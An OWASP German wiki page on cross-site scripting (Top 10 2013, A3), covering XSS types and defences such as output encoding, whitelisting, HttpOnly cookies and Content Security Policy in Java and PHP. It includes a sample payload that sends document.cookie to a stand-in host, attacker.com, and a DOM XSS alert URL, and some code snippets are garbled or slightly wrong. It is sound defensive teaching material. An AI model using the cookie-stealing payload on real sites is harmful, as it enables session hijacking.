Germany/Projekte/Top 10 fuer Entwickler-2013/A3-Cross-Site Scripting (XSS)

Jeder, der nicht ausreichend geprüfte Daten an das System übermitteln kann: externe und interne Nutzer, sowie Administratoren. Der Angreifer sendet textbasierte Angriffsskripte, die Eigenschaften des Browsers ausnutzen. Fast jede Datenquelle kann einen Angriffsvektor beinhalten, auch interne Quellen wie Datenbanken.  XSS ist die am weitesten verbreitete Schwachstelle in Webanwendungen. XSS-Schwachstellen treten dann auf, wenn die Anwendung vom Benutzer eingegebene Daten übernimmt, ohne sie hinreichend zu validieren und Metazeichen als Text zu kodieren. Es gibt drei Typen von XSS-Schwachstellen: 1) Persistent, 2) nicht-persistent/reflektiert, und 3) DOM-basiert (lokal). Die meisten XSS-Schwachstellen sind verhältnismäßig einfach mit Hilfe von Tests oder Code-Analyse zu erkennen.     Angreifer können Skripte im Browser des Opfers ausführen und die Session übernehmen, Webseiten entstellen, falsche Inhalte einfügen, Benutzer umleiten, den Browser des Benutzers durch Malware übernehmen.       Berücksichtigen Sie den geschäftlichen Nutzen des betroffenen Systems und der verarbeiteten Daten. Bedenken Sie ebenfalls die Auswirkung auf das Unternehmen bei Bekanntwerden der Schwachstelle.

Die Anwendung übernimmt nicht vertrauenswürdige Daten, die nicht auf Gültigkeit geprüft oder escaped werden, um folgenden HTML-Code zu generieren: (String) page += ""; Der Angreifer ändert den Parameter ‘CC’ in seinem Browser auf: ''' '> document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie ' '''. Dadurch wird die Session-ID des Benutzers an die Seite des Angreifers gesendet, so dass der Angreifer die aktuelle Benutzersession übernehmen kann. Beachten Sie bitte, dass Angreifer XSS auch nutzen können, um jegliche CSRF-Abwehr der Anwendung zu umgehen. A8 enthält weitere Informationen zu CSRF.

Es wird zwischen 3 Varianten für XSS unterschieden:
 * 1) Reflektiert bzw. nicht persistent: Die Benutzereingabe wird direkt von der Webanwendung zum Benutzer zurück gesendet. Enthält die Eingabe schädlichen Skriptcode, wird dieser im Browser des Benutzers ausgeführt. Bsp.: Benutzerforen, Gästebuch,...
 * 2) beständig bzw. persistent: schädlicher Skriptcode wird zunächst in der Webanwendung gespeichert und erst später bei Anfragen ausgeliefert. Bsp.: Suchergebnisse, Fehlermeldungen oder andere Antworten des Webservers, die Teile der Eingabe enthalten.
 * 3) DOM-basiert oder lokal: Schadcode wird direkt an ein client-seitiges Skript übergeben. Die Webanwendung ist überhaupt nicht beteiligt. Bsp:  /* Falls die Webseite ' http://www.example.com/test.html ' folgenden Source-Code enthält */     document.write("Current URL : " + document.baseURI);     /* kann der XSS-Angriff via lokaler DOM über folgenden 'Link' erfolgen: */  http://www.example.com/test.html # alert(1) 

Um XSS zu verhindern, müssen nicht vertrauenswürdige Daten von aktiven Browserinhalten getrennt werden. Anmerkung: Die beschriebenen Maßnahmen sind auf dem (Anwendungs-)Server umzusetzen bzw. durchzusetzen, optional können sie teilweise (z.B. Eingabeprüfung) zusätzlich auf dem Client (z.B. per Java Skript) realisiert werden, um den Benutzer frühzeitig über Falscheingaben zu informieren.
 * 1) Vorzugsweise sollten nicht vertrauenswürdige Metazeichen dem Kontext, in dem sie ausgegeben werden (HTML, JavaScript, CSS, URL usw.), entsprechend escaped werden. Das  OWASP XSS Prevention Cheat Sheet enthält weitere Informationen zu Escaping-Techniken.
 * 2) Eine Eingabeüberprüfung durch Positivlisten (“White-listing") wird empfohlen. Dieses Vorgehen bietet jedoch  keinen umfassenden Schutz , da viele Anwendungen Metazeichen als Eingabemöglichkeit erfordern. Eine Gültigkeitsprüfung sollte kodierte Eingaben normalisieren und auf Länge, Zeichen und Format prüfen, bevor die Eingabe akzeptiert wird.
 * 3) Für komplexe Inhalte sollten Hilfsbibliotheken wie OWASP’s AntiSamy oder das Java HTML Sanitizer Project in Betracht gezogen werden.
 * 4) Content Security Policies (CSP) können als globaler Schutz Ihrer gesamten Anwendung gegenüber XSS eingesetzt werden.  (vgl. Mozilla: Content Security Policy)

= JAVA =

Schutz gegen Diebstahl der Session durch XSS
Ein sehr einfach zu realisierender Schutz der eigentlichen Session-ID besteht darin für ein Session-Cookie grundsätzlich das Flag "httponly" zu setzen. Dieses Flag teilt dem Browser mit, dass ein Zugriff eines Client-Scripts (egal woher es kommt) auf das Session-Cookie nicht erlaubt ist. Normalerweise gibt es auch keinen Grund warum dies nötig sein sollte.

Es gibt verschiedene Möglichekeiten dieses Flag zu setzen:

//Programmatisch Cookie cookie = getMyCookie("myCookieName"); cookie.setHttpOnly(true);

//konfigurativ (Bsp. Deployment Descriptor WEB-INF/web.xml ab JEE6) 
 * 
 * true
 * 



Weitere Details dazu finden sich unter OWASP HttpOnly


 * ACHTUNG!!!

Durch diese Maßnahme wird das Thema XSS nur zu einem Teil addressiert, nur der Diebstahl von Cookies wird verhindert. Tatsächlich werden Cookies nicht unbedingt für einen erfolgreichen Angriff benötigt, man kann auch die Anwendungslogik auch ohne Cookies angreifen wenn übergebene Daten nicht ausreichend geprüft werden. Näheres findet zu diesem Aspekt man bei Why HttpOnly won’t protect you. Je nach Schutzbedarf der Anwendung sollten deshalb auch die weiteren Verteidungsoptionen gegen XSS geprüft werden.

Diese Maßnahme ist jedoch sehr einfach umzusetzen und und gehört aus diesem Grund grundsätzlich in jede Anwendung. Sie verringert die Angreifbarkeit der Anwendung in einem signifikantem Umfang, da weiterführende Angriffe erst einmal einen wesentlich größeren Aufwand für den Angreifer bedeuten.

Reflektiertes und Persistentes XSS
Canonicalize Input Setze Zeichenkodierung und Sprache auf die einfachste Form, z.B. im Header der ausgelieferten Seiten: Content-Type: text/html; charset=utf-8, Accept-Language: da, en-gb;q=0.8, en;q=0.7. Damit reduzieren sich die Möglichkeiten nachfolgende Validierungsroutinen zu umgehen.

Validate Input Using a Whitelist Whitelist validation (accept only known good data) is a key tenet of good security. Check the content of the data, the length, data type, etc.
 * Validierung gegen Positiv-Listen z.B. [^[a-zA-Z0-9+&*-]+(?:\.[a-zA-Z0-9_+&*-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,7}$]] für das Format der Email-Adresse. Weitere Beispiele befinden sich im OWASP Validation Regex Repository.

Contextual Output Encoding/Escaping: Output Escaping is the last step, and must be done for the appropriate context. You must understand where you’re sticking data, and how that location is interpreted from the browser’s view. This can be a sticky issue, so this one gets a bit problematic.


 * Ist nicht ausreichend, falls Metazeichen (im wesentlichen %&/=?{[]}\+*~<>|,;.:-^' usw.) verarbeitet werden müssen. In diesem Fall sind solche Metazeichen nach Möglichkeit geeignet zu kodieren (insbes. & zu &amp, < zu &lt, > zu &gt, " zu &quot, ' zu &#x27 und / zu &#x2F). Die Verwendung von Frameworks wie ESAPI erlaubt eine vollständigere Lösung des Problems:
 * ESAPI Encoder API

String safeEncodedOutput =
 * ESAPI.encoder.encodeForHTML(request.getParameter( "input" ));

'Encode.forHtml(...)' bzw. 'Encode.forJavaScript(...)' wären aus Sicherheitssicht ebenfalls möglich, sie sind jedoch nicht so performant (da sie mehr Zeichen, als notwendig umcodieren würden).
 * OWASP Java Encoder Project

String safeEncodedOutput =
 * Encode.forHtmlContent(request.getParameter( "input" ));

" />  var msg= "<%=Encode.forJavaScriptBlock (message) %>”; alert(msg);
 * Beispiele für JSP

Quellen: Use_the_Java_Encoder_Project, Approaching Secure Code

Anmerkung: Die beschriebenen Maßnahmen sind auf dem (Anwendungs-)Server umzusetzen bzw. durchzusetzen, optional können sie teilweise (z.B. Eingabeprüfung) zusätzlich auf dem Client (z.B. per Java Skript) realisiert werden, um den Benutzer frühzeitig über Falscheingaben zu informieren.

Content Security Policy (CSP)
CSP erzwingt eine stringente Trennung des Javascript-Codes vom Inhalt und ermöglich damit ein strikte Kontrolle der Herkunft des Codes.

Um CSP zu aktivieren muss der Header X-Content-Security-Policy (für Firefox und IE10; X-WebKit-CSP für Chrome und Safari) in der http-Antwort gesetzt werden:

response.setHeader( "X-Content-Security-Policy", "'self'; img-src *; object-src media1.com media2.com; script-src scripts.example.com" );

Sobald CSP-Header gesetzt werden gelten in einem kompatiblen Browser folgende Einschränkungen:
 * inline-Skripte werden nicht mehr ausgeführt ( -Tag, javascript URIs, event handling Attribute), d.h. Javascript Code muss vollständig in externe .js-Dateien ausgelagern.
 * eval, setTimeout(string), setIntervall(string) und new function wird geblockt, da diese Funktionen die Umwandlung von Inhalt in Code erlauben

Ältere Browser ignorieren den Header. Aus diesem Grund sollte man sich zu diesem Zeitpunkt noch nicht ausschließlich auf CSP verlassen, sondern es als eine flankierende Maßnahme ansehen. Weitere Informationen zu CSP findet man wiki.mozilla.org

Auf Heise Security ist eine detaillierte Beschreibung zu CSP erschienen: Bodyguard für Webseiten

DOM-basiertes oder lokales XSS
Vergleiche Beispiele im 'DOM based XSS Prevention Cheat Sheet'


 * OWASP XSS Prevention Cheat Sheet
 * OWASP DOM based XSS Prevention Cheat Sheet
 * OWASP Proactive Controls: Kapitel über 'Encode Data' und 'Validate all Inputs'
 * OWASP Cross-Site Scripting Article
 * Approaching Secure Code
 * ESAPI Encoder API
 * OWASP Java Encoder Project
 * ASVS: Output Encoding/Escaping Requirements (V6)
 * ASVS: Input Validation Requirements (V5)
 * Testing Guide: 1st 3 Chapters on Data Validation Testing
 * OWASP Code Review Guide: Chapter on XSS Review
 * Content Security Policy
 * [[Media:OWASP_MUC_csp_lightning-talk.pdf | Überblick über Content Security Policy (CSP) - ein Verfahren zur Verhinderung von XSS-Angriffen (Lightning-Talk von Christine Koppelt)]]


 * CWE Entry 79 on Cross-Site Scripting
 * RSnake's XSS Attack Cheat Sheet
 * Firefox 4’s Anti-XSS Content Security Policy Mechanism
 * W3C-Spezifikation Content Security Policy Version 1.0, DRAFT für 1.1

= PHP =

tbd Text

Reflektiertes und Persistentes XSS
Canonicalize Input Setze Zeichenkodierung und Sprache auf die einfachste Form, z.B. im Header der ausgelieferten Seiten: Content-Type: text/html; charset=utf-8, Accept-Language: da, en-gb;q=0.8, en;q=0.7. Damit reduzieren sich die Möglichkeiten nachfolgende Validierungsroutinen zu umgehen.

Validate Input Using a Whitelist Whitelist validation (accept only known good data) is a key tenet of good security. Check the content of the data, the length, data type, etc.
 * Validierung gegen Positiv-Listen z.B. [^[a-zA-Z0-9+&*-]+(?:\.[a-zA-Z0-9_+&*-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,7}$]] für das Format der Email-Adresse. Weitere Beispiele befinden sich im OWASP Validation Regex Repository.

Contextual Output Encoding/Escaping: Output Escaping is the last step, and must be done for the appropriate context. You must understand where you’re sticking data, and how that location is interpreted from the browser’s view. This can be a sticky issue, so this one gets a bit problematic.


 * Ist nicht ausreichend, falls Metazeichen (im wesentlichen %&/=?{[]}\+*~<>|,;.:-^' usw.) verarbeitet werden müssen. In diesem Fall sind solche Metazeichen nach Möglichkeit geeignet zu kodieren (insbes. & zu &amp, < zu &lt, > zu &gt, " zu &quot, ' zu &#x27 und / zu &#x2F).

/* encoding for html */

echo htmlentities($input, ENT_QUOTE | ENT_SUBSTITUTE, 'UTF-8');

Um JSON in HTML-Attributen sicher auszugeben ist json_encode alleine nicht ausreichend.

/* encoding for json */

echo htmlentities(json_encode($input), ENT_QUOTE | ENT_SUBSTITUTE, 'UTF-8');

Content Security Policy (CSP)
CSP erzwingt eine stringente Trennung des Javascript-Codes vom Inhalt und ermöglich damit ein strikte Kontrolle der Herkunft des Codes.

Um CSP zu aktivieren muss der Header X-Content-Security-Policy (für Firefox und IE10; X-WebKit-CSP für Chrome und Safari) in der http-Antwort gesetzt werden:

header( "X-Content-Security-Policy", "'self'; img-src *; object-src media1.com media2.com; script-src scripts.example.com" );

Sobald CSP-Header gesetzt werden gelten in einem kompatiblen Browser folgende Einschränkungen:
 * inline-Skripte werden nicht mehr ausgeführt ( -Tag, javascript URIs, event handling Attribute), d.h. Javascript Code muss vollständig in externe .js-Dateien ausgelagern.
 * eval, setTimeout(string), setIntervall(string) und new function wird geblockt, da diese Funktionen die Umwandlung von Inhalt in Code erlauben

Ältere Browser ignorieren den Header. Aus diesem Grund sollte man sich zu diesem Zeitpunkt noch nicht ausschließlich auf CSP verlassen, sondern es als eine flankierende Maßnahme ansehen. Weitere Informationen findet man hier